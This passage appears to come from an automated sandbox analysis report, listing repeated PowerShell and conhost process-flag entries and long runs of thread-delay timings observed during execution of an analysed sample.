              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 900000Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899884Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899772Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899652Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899522Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899373Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899262Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899151Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 900000
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899888
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899747
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899636
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899526
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899377
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899250
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899140
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899031
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898921
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898812
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898703
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898593
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898484
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898374
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898265
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898156
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898046
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897937
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897828
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897708
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897578
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897468
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897352
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897234
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 900000
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899869
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899734
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899609
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899500
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899391
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899281
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899172
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899062
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898953
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898844
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898734
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898625
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898516
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898391
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898266
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898156
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 898047
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897937
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897828
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897712
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 897609
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 900000
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899875
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899765
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899656
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899547
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 899437
